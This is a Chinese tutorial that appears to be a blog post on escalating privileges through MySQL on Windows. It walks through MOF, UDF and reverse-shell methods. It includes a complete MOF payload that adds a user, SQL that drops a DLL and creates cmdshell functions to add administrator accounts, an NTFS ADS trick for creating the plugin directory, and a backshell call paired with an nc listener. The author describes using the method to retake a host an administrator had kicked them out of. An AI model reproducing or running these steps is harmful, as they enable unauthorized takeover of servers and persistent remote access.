利用mysql的几种提权方式

利用mysql的几种提权方式

mof提权

1.原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

2.利用条件

  1. mysql用户具有root权限(对上面那个目录可写)
  2. 关闭了secure-file-priv

3.利用方式
下面是一段写好了的mof利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{ 

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 



instance of ActiveScriptEventConsumer as $Consumer 

{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:

select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行完后,你可以在你的webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了。


注:经过我在win2003测试,没有成功利用。但是网上很多资料都提到win2003很容易利用,而更高版本的就很难成功了,所以大家遇到win2003可以试一下这种提权方式

udf提权

1.原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

2.利用条件

  1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
  2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
  3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
  4. 可以将udf.dll写入到相应目录的权限。

注:关于plugin目录,可在mysql中执行

show variables like '%plugin%';

进行查看,这个目录也就是dll文件需要导入的目录

3.利用方式

  1. 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
  2. 创建自定义函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数

注意这里的函数名应该与dll文件中的函数名一致。

是不是感觉挺麻烦的,首先找dll文件就是一个问题,其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具,网络上有很多关于udf提权的利用脚本。

我用的这个脚本还不错


下面是我使用udf拿下之前一台被管理员踢出去的主机的截图


成功添加了test用户到管理员组

当然关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的,还好有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)

select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

上面的目录应该是相应的mysql目录,读者在测试时应该根据情况进行修改

注:udf提权也是一般应用于win2000、win2003系统

mysql反弹shell提权

其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的

  • 然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
  • 在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
  • 最后就是执行backshell
select backshell("你的ip地址",12345);


上图是我在win2003的测试结果,但是我是通过webshell将udf.dll导入plugin目录完成的

  • 如果成功返回了shell则说明成功了,我们就可以添加用户了

文中提到的脚本在我的公众号回复"udf提权",可获得链接
利用mysql的几种提权方式_第1张图片

你可能感兴趣的:(Web安全)